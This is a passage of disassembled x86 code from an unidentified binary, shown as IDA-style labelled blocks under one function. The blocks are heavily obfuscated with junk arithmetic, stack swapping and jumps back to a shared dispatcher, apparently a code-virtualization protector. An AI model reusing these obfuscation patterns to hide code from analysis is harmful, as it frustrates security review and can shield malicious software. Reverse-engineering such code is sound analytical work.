loc_5B6134:				; CODE XREF: sub_5A55E5+17BA1j
		sub	edx, 50361ED6h
		dec	edx
		not	edx
		jmp	loc_5BC921
; ---------------------------------------------------------------------------


loc_5B6142:				; CODE XREF: sub_5A55E5+6C4Aj
		push	2A7D066Bh
		mov	eax, [esp+1Ch+var_1C]
		add	esp, 4
		or	eax, 4DE36C18h
		add	eax, 1
		not	eax
		push	edi
		push	ecx
		mov	ecx, 73783F9Bh
		mov	edi, ecx
		pop	ecx
		or	eax, edi
		jmp	loc_5BDAE1
; ---------------------------------------------------------------------------


loc_5B6168:				; CODE XREF: sub_5A55E5+13457j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		push	[esp+20h+var_1C]
		push	[esp+24h+var_26+2]
		pop	edx
		add	esp, 4
		pop	[esp+20h+var_22+2]
		mov	esp, [esp+1Ch+var_1C]
		xor	ebp, [esp+1Ch+var_1C]
		xor	[esp+1Ch+var_1C], ebp
		xor	ebp, [esp+1Ch+var_1C]
		mov	esp, [esp+1Ch+var_1C]
		add	byte ptr [esp+1Ch+var_1C], al
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B619D:				; CODE XREF: sub_5A55E5+4886j
		mov	esp, [esp+4Ah+var_4A]
		mov	edx, [esp+4Ah+var_4A]
		push	7E7h
		mov	[esp+4Eh+var_50+2], ecx
		mov	ecx, esp
		push	edi
		push	4
		jmp	loc_5AF697
; ---------------------------------------------------------------------------


loc_5B61B8:				; CODE XREF: sub_5A55E5+16877j
		push	ecx
		mov	ch, bh
		mov	al, ch
		pop	ecx
		mov	ebx, [esp+56h+var_58+2]
		add	esp, 4
		inc	al
		sub	al, 0FFh
		xor	al, 41h
		xor	al, 2Ah
		jmp	loc_5B78F7
; ---------------------------------------------------------------------------


loc_5B61D4:				; CODE XREF: sub_5A55E5+A2FAj
		not	ecx
		push	eax
		mov	eax, 65911FCh
		dec	eax
		dec	eax
		not	eax
		add	eax, 6C355BE6h
		jmp	loc_5AAC59
; ---------------------------------------------------------------------------


loc_5B61EA:				; CODE XREF: sub_5A55E5+E3F7j
		xchg	edx, [esp+28h+var_2A+2]
		pop	esp
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B61FB:				; CODE XREF: sub_5A55E5+18D25j
		pop	esi
		push	eax
		jmp	loc_5BE177
; ---------------------------------------------------------------------------


loc_5B6202:				; CODE XREF: sub_5A55E5+A8C2j
		push	0
		sub	byte ptr [esp+18h+var_18], bl
		mov	bl, byte ptr [esp+18h+var_18]
		add	esp, 4
		push	ecx
		push	ebx
		mov	bh, 0DBh
		mov	cl, 1Ah
		add	cl, bh
		pop	ebx
		xor	bl, cl
		mov	ecx, [esp+18h+var_18]
		add	esp, 4
		mov	dh, bl
		jmp	loc_5AFF6C
; ---------------------------------------------------------------------------


loc_5B6228:				; CODE XREF: sub_5A55E5+EEB5j
		mov	bh, 5Eh
		and	dl, bh
		pop	ebx
		shl	dl, 5
		not	dl
		jmp	loc_5B40CD
; ---------------------------------------------------------------------------


loc_5B6237:				; CODE XREF: sub_5A55E5+54AFj
		mov	edi, 1D246504h
		jmp	loc_5B361E
; ---------------------------------------------------------------------------


loc_5B6241:				; CODE XREF: sub_5A55E5+C6F6j
		push	esi
		mov	esi, 1105000Eh
		jmp	loc_5B37D4
; ---------------------------------------------------------------------------


loc_5B624C:				; CODE XREF: sub_5A55E5+F13Ej
		push	ebp
		jmp	loc_5BD47D
; ---------------------------------------------------------------------------


loc_5B6252:				; CODE XREF: sub_5A55E5+DAE3j
		mov	[esp+2Eh+var_2E], edi
		mov	edi, 4A12490Ch
		mov	ebx, 7DDC62E4h
		jmp	loc_5AE06F
; ---------------------------------------------------------------------------


loc_5B6264:				; CODE XREF: sub_5A55E5+724Aj
		mov	ecx, [esp+2Ch+var_2E+2]
		jmp	loc_5AC49E
; ---------------------------------------------------------------------------


loc_5B626C:				; CODE XREF: sub_5A55E5+EC53j
		xor	esi, [esp+1Ch+var_1C]
		jmp	loc_5AB03B
; ---------------------------------------------------------------------------


loc_5B6274:				; CODE XREF: sub_5A55E5+6884j
		mov	ch, bl
		pop	ebx
		pop	edx
		not	ch
		mov	ah, ch
		pop	ecx
		push	7928h
		jmp	loc_5AC5C0
; ---------------------------------------------------------------------------


loc_5B6287:				; CODE XREF: sub_5A55E5+17121j
		add	edi, 4
		jmp	loc_5AFF85
; ---------------------------------------------------------------------------


loc_5B628F:				; CODE XREF: sub_5A55E5+1613Ej
		push	edi
		mov	di, 87EAh
		mov	dx, di
		pop	edi
		sub	bp, dx
		pop	dx
		add	bx, bp
		mov	ebp, [esp+16h+var_18+2]
		add	esp, 4
		jmp	loc_5AADFD
; ---------------------------------------------------------------------------


loc_5B62AE:				; CODE XREF: sub_5A55E5+B8BDj
		sub	edx, esi
		pop	esi
		xchg	eax, edx
		not	eax
		xchg	eax, edx
		push	ecx
		push	ebx
		mov	ebx, 7A505961h
		mov	ecx, ebx
		mov	ebx, [esp+0]
		add	esp, 4
		jmp	loc_5B98FF
; ---------------------------------------------------------------------------


loc_5B62C9:				; CODE XREF: sub_5A55E5+143D6j
		pop	edx
		pop	ebx
		pop	eax
		pop	dx
		push	eax
		push	ebx
		jmp	loc_5AD9B7
; ---------------------------------------------------------------------------


loc_5B62D5:				; CODE XREF: sub_5A55E5+EEBFj
		pop	edx
		xor	cl, 22h
		push	eax
		mov	al, 0BAh
		not	al
		sub	al, 1
		or	al, 2Dh
		jmp	loc_5B4175
; ---------------------------------------------------------------------------


loc_5B62E7:				; CODE XREF: sub_5A55E5+8FFAj
		add	esi, edx
		pop	edx
		add	esi, 4
		xor	esi, [esp+14h+var_14]
		jmp	loc_5B219F
; ---------------------------------------------------------------------------


loc_5B62F8:				; CODE XREF: sub_5A55E5+A081j
		sub	ebp, 0F5159502h
		jmp	loc_5AC621
; ---------------------------------------------------------------------------


loc_5B6303:				; CODE XREF: sub_5A55E5+77ADj
		add	al, bl
		push	ebx
		mov	bl, 8Fh
		add	al, 7Ch
		sub	al, 6
		sub	al, bl
		jmp	loc_5B497B
; ---------------------------------------------------------------------------


loc_5B6313:				; CODE XREF: sub_5A55E5+110F1j
		sub	cl, al
		jmp	loc_5B69F8
; ---------------------------------------------------------------------------


loc_5B631A:				; CODE XREF: sub_5A55E5+13743j
		pop	edx
		push	ebp
		dec	[esp+20h+var_22+2]
		pop	ebp
		sub	ebp, 708E7952h
		shl	ebp, 5
		shl	ebp, 5
		shl	ebp, 7
		xchg	esi, ebp
		xchg	ebx, esi
		not	ebx
		push	esi
		push	ebx
		jmp	loc_5B4F76
; ---------------------------------------------------------------------------


loc_5B633C:				; CODE XREF: sub_5A55E5+1125Bj
		add	esp, 4
		jmp	loc_5BBE80
; ---------------------------------------------------------------------------


loc_5B6344:				; CODE XREF: sub_5A55E5+1601Fj
		add	esp, 4
		jmp	loc_5B5B03
; ---------------------------------------------------------------------------


loc_5B634C:				; CODE XREF: sub_5A55E5+C3BDj
		push	edx
		mov	edx, 9D98F8B8h
		add	ebp, edx
		pop	edx
		mov	eax, ebp
		pop	ebp
		jmp	loc_5BA6AA
; ---------------------------------------------------------------------------


loc_5B635D:				; CODE XREF: sub_5A55E5+880Cj
		pop	[esp+2Ch+var_2E+2]
		mov	esp, [esp+28h+var_2A+2]
		sub	word ptr [esp+28h+var_2A+2], ax
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B636D:				; CODE XREF: sub_5A55E5+A7AFj
		add	bl, 4Eh
		add	bl, dh
		sub	bl, 4Eh
		pop	edx
		add	bl, al
		sub	bl, 18h
		push	dx
		mov	dh, 10h
		add	bl, dh
		jmp	loc_5AE76F
; ---------------------------------------------------------------------------


loc_5B6386:				; CODE XREF: sub_5A55E5+57FCj
		mov	edi, [esp+2Eh+var_2E]
		add	esp, 4
		push	edi
		jmp	loc_5BB6F8
; ---------------------------------------------------------------------------


loc_5B6392:				; CODE XREF: sub_5A55E5+61D4j
		xor	eax, 9164CC7h
		xor	ebx, eax
		pop	eax
		mov	edi, ebx
		mov	ebx, [esp+58h+var_58]
		add	esp, 4
		add	[esp+54h+var_50], 69436B3Fh
		add	[esp+54h+var_50], edi
		sub	[esp+54h+var_50], 69436B3Fh
		push	[esp+54h+var_54]
		pop	edi
		jmp	loc_5BEBDE
; ---------------------------------------------------------------------------


loc_5B63C2:				; CODE XREF: sub_5A55E5+10974j
		pop	edx
		add	ecx, edx
		jmp	loc_5BCD93
; ---------------------------------------------------------------------------


loc_5B63CA:				; CODE XREF: sub_5A55E5+157CFj
		sub	esp, 4
		mov	[esp+20h+var_22+2], ecx
		mov	cx, 1AC1h
		xor	cx, 6053h
		jmp	loc_5AE787
; ---------------------------------------------------------------------------


loc_5B63DE:				; CODE XREF: sub_5A55E5+F633j
		pop	ebp
		jmp	loc_5BEC82
; ---------------------------------------------------------------------------


loc_5B63E4:				; CODE XREF: sub_5A55E5+9B21j
		push	esi
		jmp	loc_5AEDAA
; ---------------------------------------------------------------------------


loc_5B63EA:				; CODE XREF: sub_5A55E5+4EB1j
		mov	ecx, 33027730h
		push	ecx
		pop	edi
		pop	ecx
		push	0BBh
		mov	[esp+60h+var_60], edx
		mov	edx, 21703B62h
		jmp	loc_5AB3CB
; ---------------------------------------------------------------------------


loc_5B6404:				; CODE XREF: sub_5A55E5+D56Fj
		mov	[esp+5Eh+var_60+2], ecx
		jmp	loc_5B0127
; ---------------------------------------------------------------------------


loc_5B640C:				; CODE XREF: sub_5A55E5+1534Ej
		mov	ebx, [esp+5Eh+var_60+2]
		add	esp, 4
		or	eax, eax
		jnz	loc_5ABA5A
		push	ecx
		push	ebx
		mov	ebx, 57C808DFh
		mov	ecx, 18772711h
		add	ecx, ebx
		pop	ebx
		push	eax
		jmp	loc_5B0A4D
; ---------------------------------------------------------------------------


loc_5B6432:				; CODE XREF: sub_5A55E5+D8F4j
		mov	eax, [esp+26h+var_26]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+2Ah+var_2A]
		pop	esp
		xchg	eax, ebp
		jmp	loc_5AB714
; ---------------------------------------------------------------------------


loc_5B644B:				; CODE XREF: sub_5A55E5+C923j
		add	esi, ebx
		push	[esp+28h+var_2A+2]
		mov	ebx, [esp+2Ch+var_2E+2]
		add	esp, 4
		add	esp, 4
		push	6CB8h
		mov	[esp+28h+var_2A+2], eax
		mov	eax, 2
		add	esi, 4F046AD4h
		add	esi, 88E62C0h
		sub	esi, 2C112DE8h
		add	esi, eax
		add	esi, 2C112DE8h
		sub	esi, 88E62C0h
		sub	esi, 4F046AD4h
		jmp	loc_5AED47
; ---------------------------------------------------------------------------


loc_5B6494:				; CODE XREF: sub_5A55E5+C899j
		xor	ebx, [esp+32h+var_32]
		mov	esp, [esp+32h+var_32]
		sub	esp, 4
		mov	[esp+36h+var_36], ebp
		push	esp
		pop	ebp
		push	ecx
		mov	ecx, 4
		jmp	loc_5AD487
; ---------------------------------------------------------------------------


loc_5B64B0:				; CODE XREF: sub_5A55E5+12C7Aj
		mov	[esp+3Ah+var_3A], eax
		jmp	loc_5B8FA2
; ---------------------------------------------------------------------------


loc_5B64B8:				; CODE XREF: sub_5A55E5+111E3j
		add	esi, edx
		add	esi, 7D1239B5h
		pop	edx
		push	ebx
		mov	ebx, 0DFA6911h
		and	ebx, 14310FEBh
		shl	ebx, 3
		jmp	loc_5BA3F8
; ---------------------------------------------------------------------------


loc_5B64D5:				; CODE XREF: sub_5A55E5+12F8Aj
		mov	ebp, 48DB375Fh
		neg	ebp
		dec	ebp
		or	ebp, 464D66A8h
		neg	ebp
		shl	ebp, 5
		add	ebp, 0F5B9E309h
		add	esi, ebp
		pop	ebp
		mov	ebp, [esp+36h+var_36]
		add	esp, 4
		mov	[edi+20h], esi
		jmp	loc_5B0623
; ---------------------------------------------------------------------------


loc_5B64FF:				; CODE XREF: sub_5A55E5+1311Dj
		push	eax
		mov	eax, esp
		jmp	loc_5B057C
; ---------------------------------------------------------------------------


loc_5B6507:				; CODE XREF: sub_5A55E5+1539Dj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5A9EFB
; ---------------------------------------------------------------------------


loc_5B651A:				; CODE XREF: sub_5A55E5+9CCEj
		add	edx, 4
		xchg	edx, [esp+24h+var_26+2]
		pop	esp
		pop	ebx
		xor	eax, esi
		jmp	loc_5B02F0
; ---------------------------------------------------------------------------


loc_5B6529:				; CODE XREF: sub_5A55E5+B649j
		mov	dl, bl
		pop	ebx
		mov	bl, dl
		pop	edx
		push	33A8h
		jmp	loc_5B1D0E
; ---------------------------------------------------------------------------


loc_5B6539:				; CODE XREF: sub_5A55E5+5D04j
		mov	esi, 3FCF2C7Dh
		shl	esi, 1
		jmp	loc_5BA1D4
; ---------------------------------------------------------------------------


loc_5B6545:				; CODE XREF: sub_5A55E5+DC04j
		add	[esp+24h+var_22+2], ebx
		pop	ebx
		jmp	loc_5B3895
; ---------------------------------------------------------------------------


loc_5B654F:				; CODE XREF: sub_5A55E5+4B14j
		dec	ebp
		inc	ebp
		xor	ebp, 6B7936ECh
		jmp	loc_5B6082
; ---------------------------------------------------------------------------


loc_5B655C:				; CODE XREF: sub_5A55E5+755Fj
		mov	ebp, [esp+2Eh+var_2E]
		add	esp, 4
		push	31E3h
		jmp	loc_5B20AF
; ---------------------------------------------------------------------------


loc_5B656F:				; CODE XREF: sub_5A55E5+DBE2j
		mov	ebp, 4
		add	ebx, ebp
		push	[esp+56h+var_58+2]
		jmp	loc_5BC9EF
; ---------------------------------------------------------------------------


loc_5B657E:				; CODE XREF: sub_5A55E5+199A8j
		push	eax
		push	[esp+5Eh+var_5C+2]
		pop	eax
		pop	[esp+5Eh+var_60+2]
		pop	esp
		push	esi
		push	33D01BAEh
		push	[esp+5Eh+var_60+2]
		jmp	loc_5B1D85
; ---------------------------------------------------------------------------


loc_5B6596:				; CODE XREF: sub_5A55E5+15549j
		add	ecx, 4
		push	ecx
		push	[esp+66h+var_64+2]
		pop	ecx
		pop	[esp+66h+var_68+2]
		pop	esp
		push	46h
		jmp	loc_5B7583
; ---------------------------------------------------------------------------


loc_5B65AD:				; CODE XREF: sub_5A55E5+1076Dj
		add	edi, 4
		jmp	loc_5B0589
; ---------------------------------------------------------------------------


loc_5B65B8:				; CODE XREF: sub_5A55E5+10064j
		xchg	ecx, [esp+3Ch+var_3E+2]
		mov	esp, [esp+3Ch+var_3E+2]
		or	eax, eax
		jz	loc_5B9E3C
		push	1852h
		mov	[esp+40h+var_42+2], ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+44h+var_46+2]
		jmp	loc_5B08B2
; ---------------------------------------------------------------------------


loc_5B65E2:				; CODE XREF: sub_5A55E5+13E95j
		add	esp, 4
		pop	edi
		push	edx
		jmp	loc_5BB82D
; ---------------------------------------------------------------------------


loc_5B65EC:				; CODE XREF: sub_5A55E5+1320Dj
		add	ecx, ebp
		pop	ebp
		jmp	loc_5AD34A
; ---------------------------------------------------------------------------


loc_5B65F4:				; CODE XREF: sub_5A55E5+10288j
		pop	eax
		pop	edi
		pop	ebp
		jmp	loc_5BD165
; ---------------------------------------------------------------------------


loc_5B65FC:				; CODE XREF: sub_5A55E5+17E01j
		pop	esp
		sub	ecx, 1996604Fh
		add	ecx, esi
		push	edx
		jmp	loc_5B3226
; ---------------------------------------------------------------------------


loc_5B660B:				; CODE XREF: sub_5A55E5+B61Aj
		mov	ebx, 0B4FD09D9h
		sub	edi, ebx
		pop	ebx
		add	ecx, edi
		pop	edi
		push	ebx
		sub	esp, 4
		mov	[esp+20h+var_22+2], ebp
		mov	ebp, 76930401h
		push	ebx
		jmp	loc_5B2DFC
; ---------------------------------------------------------------------------


loc_5B6628:				; CODE XREF: sub_5A55E5+19E42j
		pop	esp
		push	2181h
		mov	[esp+24h+var_26+2], eax
		mov	eax, 7AD87DECh
		jmp	loc_5BE95F
; ---------------------------------------------------------------------------


loc_5B663B:				; CODE XREF: sub_5A55E5+141C1j
		mov	ebp, 0BCA7EC9h
		not	ebp
		jmp	loc_5B190F
; ---------------------------------------------------------------------------


loc_5B6647:				; CODE XREF: sub_5A55E5+4EFAj
		push	[esp+64h+var_60]
		jmp	loc_5AA57B
; ---------------------------------------------------------------------------


loc_5B6650:				; DATA XREF: sub_5A55E5+436Bo
		lodsb
		jmp	loc_5BD215
; ---------------------------------------------------------------------------


loc_5B6656:				; CODE XREF: sub_5A55E5+1594Aj
		push	eax
		jmp	loc_5B7032
; ---------------------------------------------------------------------------


loc_5B665C:				; CODE XREF: sub_5A55E5+19E4Cj
		sub	ebp, ecx
		jmp	loc_5BA795
; ---------------------------------------------------------------------------


loc_5B6663:				; CODE XREF: sub_5A55E5+8A8Cj
		pop	edi
		neg	ebx
		shl	ebx, 1
		push	esi
		jmp	loc_5AE550
; ---------------------------------------------------------------------------


loc_5B666E:				; CODE XREF: sub_5A55E5+B396j
		xchg	eax, [esp+24h+var_26+2]
		pop	esp
		push	esi
		jmp	loc_5B423D
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+24h+var_26+2]
		push	ebp
		jmp	loc_5B9F1F
; ---------------------------------------------------------------------------


loc_5B6682:				; CODE XREF: sub_5A55E5+A3DAj
		xor	edi, 3AC745FDh
		xor	edi, 954C0AAh
		add	edx, edi
		pop	edi
		push	edx
		not	[esp+2Ch+var_2E+2]
		pop	edx
		add	edx, 3A557B6Ah
		add	edi, edx
		push	[esp+28h+var_2A+2]
		jmp	loc_5ABACC
; ---------------------------------------------------------------------------


loc_5B66A6:				; DATA XREF: sub_5A55E5+435Bo
		mov	cx, word ptr [esp+14h+var_14]
		push	340Bh
		mov	[esp+18h+var_18], edx
		jmp	loc_5B8D66
; ---------------------------------------------------------------------------


loc_5B66B7:				; CODE XREF: sub_5A55E5+8AD7j
		add	esp, 2
		mov	dl, 0F4h
		xor	dl, bl
		pop	ebx
		shr	dl, 5
		dec	dl
		or	dl, 0FEh
		add	dl, 0FFh
		sub	al, dl
		pop	edx
		push	ecx
		mov	cl, 0BAh
		add	al, cl
		pop	ecx
		jmp	loc_5B6313
; ---------------------------------------------------------------------------


loc_5B66DB:				; CODE XREF: sub_5A55E5+F088j
		mov	ecx, eax
		pop	eax
		push	ecx
		dec	[esp+5Eh+var_60+2]
		pop	ecx
		sub	ecx, 29743BE8h
		xor	ecx, 60E36EA5h
		dec	ecx
		shr	ecx, 4
		xor	ecx, 7BA301C0h
		mov	ebp, ecx
		jmp	loc_5AF488
; ---------------------------------------------------------------------------


loc_5B6700:				; CODE XREF: sub_5A55E5+1088Bj
		push	ebx
		mov	bh, dl
		mov	cl, bh
		mov	ebx, [esp+20h+var_22+2]
		add	esp, 4
		push	ebx
		sub	esp, 4
		mov	[esp+24h+var_26+2], edx
		push	eax
		mov	ah, cl
		jmp	loc_5B040A
; ---------------------------------------------------------------------------


loc_5B671D:				; CODE XREF: sub_5A55E5+CE2Bj
		push	esi
		push	[esp+56h+var_54+2]
		pop	esi
		pop	[esp+56h+var_58+2]
		pop	esp
		sar	word ptr [esp+4Eh+var_50+2], cl
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B6731:				; CODE XREF: sub_5A55E5+9CE7j
		pop	ebx
		jmp	loc_5B3C1F
; ---------------------------------------------------------------------------


loc_5B6737:				; CODE XREF: sub_5A55E5+52B0j
		add	edx, 62FA7CB7h
		sub	edx, 7D3A23B2h
		not	edx
		shl	edx, 6
		jmp	loc_5BD1A5
; ---------------------------------------------------------------------------


loc_5B674D:				; CODE XREF: sub_5A55E5+1123Fj
		add	edx, eax
		pop	eax
		push	edx
		jmp	loc_5ABF17
; ---------------------------------------------------------------------------


loc_5B6756:				; CODE XREF: sub_5A55E5+EAF9j
		sub	al, cl
		pop	cx
		push	bx
		push	edx
		jmp	loc_5B5802
; ---------------------------------------------------------------------------


loc_5B6762:				; CODE XREF: sub_5A55E5+14974j
		mov	ebp, [esp+18h+var_18]
		add	esp, 4
		add	ebx, edi
		sub	esp, 4
		mov	[esp+18h+var_18], edx
		mov	edx, 0F3976A9h
		add	ebx, edx
		pop	edx
		jmp	loc_5B0664
; ---------------------------------------------------------------------------


loc_5B677D:				; CODE XREF: sub_5A55E5+161A5j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5A9CE7
; ---------------------------------------------------------------------------


loc_5B6790:				; CODE XREF: sub_5A55E5+18C0Dj
		not	eax
		not	eax
		push	edx
		mov	edx, 594B0A87h
		jmp	loc_5AD04D
; ---------------------------------------------------------------------------


loc_5B679F:				; CODE XREF: sub_5A55E5+DF93j
		or	eax, 5DF8128Bh
		and	eax, 6A2A1B5Bh
		push	esi
		mov	esi, 56E4465Dh
		jmp	loc_5B089B
; ---------------------------------------------------------------------------


loc_5B67B4:				; CODE XREF: sub_5A55E5+11F53j
		mov	ebp, 22F522B9h
		inc	ebp
		xor	ebp, 56F17BCAh
		sub	eax, ebp
		jmp	loc_5B9D7C
; ---------------------------------------------------------------------------


loc_5B67C7:				; CODE XREF: sub_5A55E5+8BFBj
		pop	ebp
		jmp	loc_5B64B8
; ---------------------------------------------------------------------------


loc_5B67CD:				; CODE XREF: sub_5A55E5+1477Fj
		add	ebp, 71E53334h
		push	ecx
		mov	ecx, 74B22E34h
		push	edx
		mov	edx, 1
		jmp	loc_5BBED0
; ---------------------------------------------------------------------------


loc_5B67E4:				; CODE XREF: sub_5A55E5+E319j
		add	esp, 4
		sub	esp, 4
		mov	[esp+26h+var_26], ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		xor	esi, [esp+22h+var_22]
		xor	[esp+22h+var_22], esi
		xor	esi, [esp+22h+var_22]
		jmp	loc_5B0ACA
; ---------------------------------------------------------------------------


loc_5B6806:				; CODE XREF: sub_5A55E5+190C1j
		pop	ebx
		push	edi
		sub	esp, 4
		mov	[esp+26h+var_26], edx
		jmp	loc_5B3572
; ---------------------------------------------------------------------------


loc_5B6813:				; CODE XREF: sub_5A55E5+14695j
		and	ecx, ebp
		pop	ebp
		jmp	loc_5BC765
; ---------------------------------------------------------------------------


loc_5B681B:				; CODE XREF: sub_5A55E5+F9ADj
		mov	edx, [esp+3Ch+var_3E+2]
		add	esp, 4
		jmp	loc_5B674D
; ---------------------------------------------------------------------------


loc_5B6829:				; CODE XREF: sub_5A55E5+8974j
		mov	ebp, 4A813D95h
		add	edi, ebp
		pop	ebp
		jmp	loc_5B5E52
; ---------------------------------------------------------------------------


loc_5B6836:				; CODE XREF: sub_5A55E5+15766j
		add	[esp+36h+var_36], 4
		mov	ebp, [esp+36h+var_36]
		jmp	loc_5B633C
; ---------------------------------------------------------------------------


loc_5B6845:				; CODE XREF: sub_5A55E5+16A1Ej
		xor	edi, 39F5545h
		push	edi
		jmp	loc_5B3E9C
; ---------------------------------------------------------------------------


loc_5B6851:				; CODE XREF: sub_5A55E5+1060Bj
		pop	edi
		mov	esi, [esp+32h+var_32]
		add	esp, 4
		sub	esp, 4
		mov	[esp+32h+var_32], eax
		mov	eax, 2
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp+2Eh+var_2E]
		jmp	loc_5B441A
; ---------------------------------------------------------------------------


loc_5B6871:				; CODE XREF: sub_5A55E5+17997j
		pop	ebp
		push	ecx
		push	[esp+2Eh+var_2A]
		pop	ecx
		pop	[esp+2Eh+var_2E]
		mov	esp, [esp+2Ah+var_2A]
		jmp	loc_5B32A3
; ---------------------------------------------------------------------------


loc_5B6883:				; CODE XREF: sub_5A55E5+1826Aj
		sub	eax, 4F9A7756h
		sub	esp, 4
		jmp	loc_5B76B2
; ---------------------------------------------------------------------------


loc_5B6890:				; CODE XREF: sub_5A55E5+169EEj
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B6895:				; CODE XREF: sub_5A55E5+56C2j
		mov	ch, 0DEh
		jmp	loc_5B8CF7
; ---------------------------------------------------------------------------


loc_5B689C:				; CODE XREF: sub_5A55E5+15307j
		add	ebx, edi
		jmp	loc_5AC540
; ---------------------------------------------------------------------------


loc_5B68A3:				; CODE XREF: sub_5A55E5+15331j
		add	ebp, edx
		mov	edx, [esp+28h+var_2A+2]
		jmp	loc_5B8156
; ---------------------------------------------------------------------------


loc_5B68AD:				; CODE XREF: sub_5A55E5+F2F6j
		xor	ecx, [esp+1Ah+var_1C+2]
		mov	esp, [esp+1Ah+var_1C+2]
		movzx	ax, byte ptr [eax]
		push	edx
		sub	esp, 4
		mov	[esp+22h+var_22], esp
		add	[esp+22h+var_22], 4
		mov	edx, [esp+22h+var_22]
		add	esp, 4
		push	373Ch
		mov	[esp+22h+var_22], esi
		jmp	loc_5AB988
; ---------------------------------------------------------------------------


loc_5B68DB:				; CODE XREF: sub_5A55E5+15214j
		add	ax, 258Ah
		jmp	loc_5B2FBA
; ---------------------------------------------------------------------------


loc_5B68E4:				; CODE XREF: sub_5A55E5+7FB8j
		push	esi
		jmp	loc_5AFCD7
; ---------------------------------------------------------------------------


loc_5B68EA:				; CODE XREF: sub_5A55E5+19A7Ej
		add	ecx, 61860DBFh
		add	ecx, esi
		sub	ecx, 61860DBFh
		push	edx
		push	edi
		mov	edi, 730931BCh
		mov	edx, edi
		pop	edi
		sub	ecx, edx
		pop	edx
		mov	esi, [esp+14h+var_14]
		sub	esp, 4
		mov	[esp+18h+var_18], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		push	eax
		push	[esp+1Ch+var_18]
		pop	eax
		pop	[esp+1Ch+var_1C]
		pop	esp
		xchg	ecx, [esp+14h+var_14]
		mov	esp, [esp+14h+var_14]
		push	[esp+14h+var_14]
		push	[esp+18h+var_18]
		push	[esp+1Ch+var_1C]
		pop	ecx
		add	esp, 4
		push	406Eh
		mov	[esp+1Ch+var_1C], edi
		push	esp
		mov	edi, [esp+20h+var_22+2]
		add	esp, 4
		push	edx
		jmp	loc_5B36B3
; ---------------------------------------------------------------------------


loc_5B6950:				; CODE XREF: sub_5A55E5+615Fj
		add	edi, ecx
		sub	esp, 4
		jmp	loc_5BB868
; ---------------------------------------------------------------------------


loc_5B695A:				; CODE XREF: sub_5A55E5+58B8j
		pop	dx
		push	[esp+32h+var_32]
		pop	edx
		jmp	loc_5AE304
; ---------------------------------------------------------------------------


loc_5B6965:				; CODE XREF: sub_5A55E5+57BFj
		add	esp, 4
		push	esi
		mov	esi, esp
		jmp	loc_5B514D
; ---------------------------------------------------------------------------


loc_5B6970:				; CODE XREF: sub_5A55E5+E743j
		push	7A5Dh
		mov	[esp+24h+var_26+2], ebp
		push	ebx
		push	eax
		mov	eax, 4
		jmp	loc_5B97B3
; ---------------------------------------------------------------------------


loc_5B6984:				; CODE XREF: sub_5A55E5+8E30j
		add	ecx, 0E77418Ah
		add	ecx, esi
		sub	ecx, 0E77418Ah
		pop	esi
		xchg	ecx, [esp+20h+var_22+2]
		pop	esp
		sub	ecx, 5F9B0DC7h
		pop	esi
		jmp	loc_5BB2B6
; ---------------------------------------------------------------------------


loc_5B69A3:				; CODE XREF: sub_5A55E5+E793j
		mov	eax, [esp+18h+var_18]
		jmp	loc_5BD0FF
; ---------------------------------------------------------------------------


loc_5B69AB:				; CODE XREF: sub_5A55E5+4F70j
		add	eax, 4
		jmp	loc_5B969A
; ---------------------------------------------------------------------------


loc_5B69B3:				; CODE XREF: sub_5A55E5+105E1j
		add	edi, 40560408h
		mov	eax, [esp+12h+var_14+2]
		jmp	loc_5B85FB
; ---------------------------------------------------------------------------


loc_5B69C1:				; CODE XREF: sub_5A55E5+14FD9j
		xor	[esp+12h+var_14+2], esi
		xor	esi, [esp+12h+var_14+2]
		mov	esp, [esp+12h+var_14+2]
		and	eax, edx
		jmp	loc_5B543A
; ---------------------------------------------------------------------------


loc_5B69D1:				; CODE XREF: sub_5A55E5+16651j
		pop	ebp
		mov	ebx, [esp+0Eh+var_10+2]
		add	esp, 4
		push	1FBBh
		jmp	loc_5AA505
; ---------------------------------------------------------------------------


loc_5B69E5:				; CODE XREF: sub_5A55E5+12D0Cj
		push	eax
		mov	eax, 2DA92949h
		jmp	loc_5B31A7
; ---------------------------------------------------------------------------


loc_5B69F0:				; CODE XREF: sub_5A55E5+17619j
		mov	edx, edi
		pop	edi
		jmp	loc_5B54CA
; ---------------------------------------------------------------------------


loc_5B69F8:				; CODE XREF: sub_5A55E5+10D30j
		pop	eax
		push	eax
		jmp	loc_5AE97A
; ---------------------------------------------------------------------------


loc_5B69FF:				; CODE XREF: sub_5A55E5+6BF9j
		mov	ch, 80h
		jmp	loc_5BC6D5
; ---------------------------------------------------------------------------


loc_5B6A06:				; CODE XREF: sub_5A55E5+15F9Fj
		push	small 72DAh
		mov	word ptr [esp+40h+var_42+2], bx
		mov	bl, 28h
		shr	bl, 4
		sub	bl, 0F1h
		push	ecx
		push	331Fh
		jmp	loc_5B77B3
; ---------------------------------------------------------------------------


loc_5B6A21:				; CODE XREF: sub_5A55E5+4BE8j
		pop	ebx
		mov	edi, [esp+1Ch+var_1C]
		jmp	loc_5BF3B4
; ---------------------------------------------------------------------------


loc_5B6A2A:				; CODE XREF: sub_5A55E5+1900Ej
		xchg	eax, [esp+1Ch+var_1C]
		pop	esp
		push	esi
		jmp	loc_5ABCA7
; ---------------------------------------------------------------------------


loc_5B6A34:				; CODE XREF: sub_5A55E5+11AADj
		push	140Dh
		mov	[esp+20h+var_22+2], edx
		mov	edx, esp
		jmp	loc_5B4CB3
; ---------------------------------------------------------------------------


loc_5B6A43:				; CODE XREF: sub_5A55E5+15BF6j
		xor	esi, 17F50745h
		sub	esi, 0E62B1AE9h
